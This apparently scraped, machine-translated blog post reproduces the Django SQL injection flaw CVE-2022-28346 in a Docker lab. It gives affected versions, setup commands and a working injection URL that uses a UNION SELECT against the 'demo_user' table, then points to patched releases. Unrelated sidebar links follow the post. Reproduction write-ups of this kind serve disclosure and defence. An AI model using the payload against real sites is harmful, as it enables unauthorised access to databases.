当前位置:网站首页>Cve-2022-28346: Django SQL injection vulnerability
Cve-2022-28346: Django SQL injection vulnerability
2022-07-08 00:41:00 【yggcwhat】
0x01 brief introduction
Django Yes, it is Python Developed a free open source Web frame , It almost covers Web Every aspect of application , Can be used to quickly build high performance 、 Elegant website ,Django It provides many modules often used in website background development , Enable developers to focus on the business part .
0x02 Summary of vulnerability
Hole number :CVE-2022-28346
Attackers use a carefully crafted dictionary , adopt **kwargs Pass to QuerySet.annotate()、aggregate() and extra() These methods , This can cause these methods to be affected by SQL Injection attack .
0x03 Affects version
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
0x04 Environment building
docker pull s0cke3t/cve-2022-28346:latestdocker run -d -p 8080:8000 s0cke3t/cve-2022-28346
0x05 Loophole recurrence
You can find out which interfaces exist through the error reporting page

If the access interface has parameters , The error message will also be prompted

Use the parameters of the error prompt sql Inject
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

0x06 Repair method
The Security version has been officially released , Download address :
https://www.djangoproject.com/download/
边栏推荐
- Operating system principle --- summary of interview knowledge points
- Qt不同类之间建立信号槽,并传递参数
- 51 communicates with the Bluetooth module, and 51 drives the Bluetooth app to light up
- 【转载】解决conda安装pytorch过慢的问题
- Four stages of sand table deduction in attack and defense drill
- 【obs】官方是配置USE_GPU_PRIORITY 效果为TRUE的
- 去了字节跳动,才知道年薪 40w 的测试工程师有这么多?
- Cascade-LSTM: A Tree-Structured Neural Classifier for Detecting Misinformation Cascades(KDD20)
- Su embedded training - Day3
- The method of server defense against DDoS, Hangzhou advanced anti DDoS IP section 103.219.39 x
猜你喜欢

基于卷积神经网络的恶意软件检测方法

How to learn a new technology (programming language)

Tapdata 的 2.0 版 ,开源的 Live Data Platform 现已发布

SDNU_ACM_ICPC_2022_Summer_Practice(1~2)

应用实践 | 数仓体系效率全面提升!同程数科基于 Apache Doris 的数据仓库建设

What has happened from server to cloud hosting?

《因果性Causality》教程,哥本哈根大学Jonas Peters讲授

【笔记】常见组合滤波电路

The standby database has been delayed. Check that the MRP is wait_ for_ Log, apply after restarting MRP_ Log but wait again later_ for_ log

My best game based on wechat applet development
随机推荐
LeetCode刷题
[Yugong series] go teaching course 006 in July 2022 - automatic derivation of types and input and output
The standby database has been delayed. Check that the MRP is wait_ for_ Log, apply after restarting MRP_ Log but wait again later_ for_ log
Flask learning record 000: error summary
Deep dive kotlin synergy (XXII): flow treatment
Sqlite数据库存储目录结构邻接表的实现2-目录树的构建
【obs】官方是配置USE_GPU_PRIORITY 效果为TRUE的
炒股开户怎么最方便,手机上开户安全吗
【obs】Impossible to find entrance point CreateDirect3D11DeviceFromDXGIDevice
爬虫实战(八):爬表情包
QT establish signal slots between different classes and transfer parameters
RPA云电脑,让RPA开箱即用算力无限?
Experience of autumn recruitment in 22 years
1293_ Implementation analysis of xtask resumeall() interface in FreeRTOS
ABAP ALV LVC模板
Stock account opening is free of charge. Is it safe to open an account on your mobile phone
Development of a horse tourism website (optimization of servlet)
Basic principle and usage of dynamic library, -fpic option context
SQL knowledge summary 004: Postgres terminal command summary
[研发人员必备]paddle 如何制作自己的数据集,并显示。